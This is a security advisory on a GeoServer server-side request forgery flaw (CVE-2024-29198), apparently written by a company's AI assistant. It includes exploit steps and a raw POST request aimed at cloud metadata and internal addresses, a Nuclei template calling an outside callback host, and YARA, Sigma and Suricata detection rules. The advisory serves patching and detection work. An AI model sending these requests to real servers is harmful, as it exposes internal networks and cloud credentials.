CVE-2024-29198

Executive Summary

CVE-2024-29198 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in GeoServer, an open-source Java-based server for sharing and editing geospatial data. The vulnerability resides in the TestWfsPost demo endpoint. An unauthenticated attacker can craft a request that forces the GeoServer to issue an arbitrary HTTP request to an internal or external target. This allows for internal network enumeration and, in cloud environments, potential access to sensitive metadata endpoints (e.g., AWS EC2 metadata). The vulnerability is trivially exploitable with a single POST request and has a public proof-of-concept (Nuclei template). The official patch removes the vulnerable servlet entirely.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the low complexity, no authentication requirement, and the potential for significant information disclosure (internal network mapping, cloud metadata access).

Deep Dive & Mechanics

The vulnerability exists in the TestWfsPost servlet, a demo endpoint intended for testing WFS (Web Feature Service) POST requests. The servlet accepts a url parameter from the user and, without proper validation, uses it to make an HTTP request from the server. If the Proxy Base URL configuration is not set, the server will issue the request directly, allowing an attacker to specify any internal or external URL.

Attack Flow:

1. An attacker sends a POST request to /geoserver/TestWfsPost with a url parameter pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/ for AWS metadata).
2. The GeoServer processes the request and makes an HTTP GET request to the attacker-supplied URL.
3. The response from the internal resource is returned to the attacker, disclosing sensitive information.

The vulnerability is classified under CWE-918 (Server-Side Request Forgery). The root cause is the lack of input validation and the absence of a configured proxy base URL, which would normally restrict outbound requests.

Vulnerable vs. Patched Code

Vulnerable Code (GeoServer < 2.24.4, < 2.25.2): The TestWfsPost servlet directly uses the url parameter without validation.

// Vulnerable snippet (conceptual)
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
    String url = req.getParameter("url");
    // No validation or restriction on the URL
    URL target = new URL(url);
    HttpURLConnection conn = (HttpURLConnection) target.openConnection();
    // ... read and return response
}

Patched Code (GeoServer >= 2.24.4, >= 2.25.2): The TestWfsPost servlet is completely removed. The patch also includes improvements to the Proxy Base URL configuration to restrict outbound requests.

// Patched: The entire TestWfsPost servlet is removed from the codebase.
// No equivalent functionality exists.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable GeoServer instance (version < 2.24.4 or < 2.25.2).
• An interactsh or other HTTP listener to capture outbound requests.

Exploit Steps:

1. Set up an interactsh listener to receive callbacks.
2. Send the following POST request to the vulnerable GeoServer:

POST /geoserver/TestWfsPost HTTP/1.1
Host: target-geoserver.com
Content-Type: application/x-www-form-urlencoded

url=http://your-interactsh-server.com/test

3. If the server is vulnerable, you will receive an HTTP request on your interactsh server, confirming SSRF.
4. To enumerate internal services, replace the URL with internal addresses (e.g., http://192.168.1.1:8080/).
5. For cloud metadata, use http://169.254.169.254/latest/meta-data/ (AWS) or equivalent for other providers.

Nuclei Template (Provided):

id: CVE-2024-29198

info:
  name: GeoServer Demo Request Endpoint - Server Side Request Forgery
  author: iamnoooob,pdresearch
  severity: high
  description: |
    It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.
  impact: |
    An attacker can exploit this vulnerability to access internal resources, enumerate internal networks, and potentially access sensitive data in cloud environments through the server-side request forgery attack.
  remediation: |
    Upgrade to a patched version of GeoServer or configure the Proxy Base URL properly to prevent unauthorized server-side requests through the TestWfsPost endpoint.
  reference:
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw
    - https://osgeo-org.atlassian.net/browse/GEOS-11390
    - https://osgeo-org.atlassian.net/browse/GEOS-11794
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29198
    cwe-id: CWE-918
    epss-score: 0.10129
    epss-percentile: 0.93127
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query:
      - http.title:"geoserver"
      - server:"geohttpserver"
    fofa-query:
      - app="geoserver"
      - title="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2024,ssrf,geoserver,oos,oast,vkev,vuln

variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=http://{{interactsh-url}}/?body={{string}}

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol, 'http')"
          - "contains(content_type, 'text/plain')"
          - "regex('^{{string}}$', body)"
          - "status_code == 200"
        condition: and

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /geoserver/TestWfsPost with a url parameter.
• Look for outbound HTTP requests from the GeoServer to unexpected internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x).
• Use the Sigma rule below to detect exploitation attempts.

Hardening:

• Immediately upgrade to GeoServer 2.24.4 or 2.25.2.
• If upgrade is not possible, configure the Proxy Base URL setting in GeoServer to restrict outbound requests to a trusted proxy.
• Implement network segmentation to limit the GeoServer's outbound access.
• Deploy a Web Application Firewall (WAF) rule to block requests to /geoserver/TestWfsPost.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /geoserver/TestWfsPost with a url parameter.
  • Outbound HTTP requests from the GeoServer to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
  • Outbound requests to cloud metadata IPs (e.g., 169.254.169.254 for AWS, 169.254.169.254 for GCP, 100.100.100.200 for Alibaba Cloud).
• File IOCs:
  • Log entries containing TestWfsPost and url= in the GeoServer access logs.
• Behavioral IOCs:
  • Unusual outbound connections from the GeoServer server to external hosts on port 80/443.

Detection Engineering

YARA Rule

rule CVE_2024_29198_GeoServer_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2024-29198 in GeoServer logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29198"
    strings:
        $s1 = "TestWfsPost" nocase
        $s2 = "url=" nocase
        $s3 = "169.254.169.254" nocase
        $s4 = "10." nocase
        $s5 = "192.168." nocase
        $s6 = "172.16." nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: GeoServer SSRF via TestWfsPost Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2024-29198 by monitoring for POST requests to /geoserver/TestWfsPost with a url parameter pointing to internal IPs.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/geoserver/TestWfsPost'
        cs-uri-query|contains: 'url='
    filter:
        cs-uri-query|contains:
            - 'url=http://10.'
            - 'url=http://192.168.'
            - 'url=http://172.16.'
            - 'url=http://169.254.'
    condition: selection and filter
falsepositives:
    - Legitimate internal testing if the Proxy Base URL is configured correctly.
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-29198 GeoServer SSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/geoserver/TestWfsPost";
    http_uri;
    content:"url=";
    http_client_body;
    pcre:"/url=http:\/\/(10\.|192\.168\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.|169\.254\.)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-29198;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GeoServer to version 2.24.4 or 2.25.2 (or later). This removes the vulnerable TestWfsPost servlet.
2. If upgrade is not possible, configure the Proxy Base URL setting in GeoServer to a trusted proxy server. This will force all outbound requests through the proxy, limiting the attack surface.
3. Implement network segmentation to restrict the GeoServer's outbound access to only necessary services.
4. Deploy a WAF rule to block POST requests to /geoserver/TestWfsPost.

Long-Term Measures:

• Regularly update GeoServer to the latest stable version.
• Conduct periodic security assessments and penetration testing.
• Monitor logs for unusual outbound requests from the GeoServer.
• Implement a robust patch management process.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 77BD432DA90C1F7FD4E84FF0] */}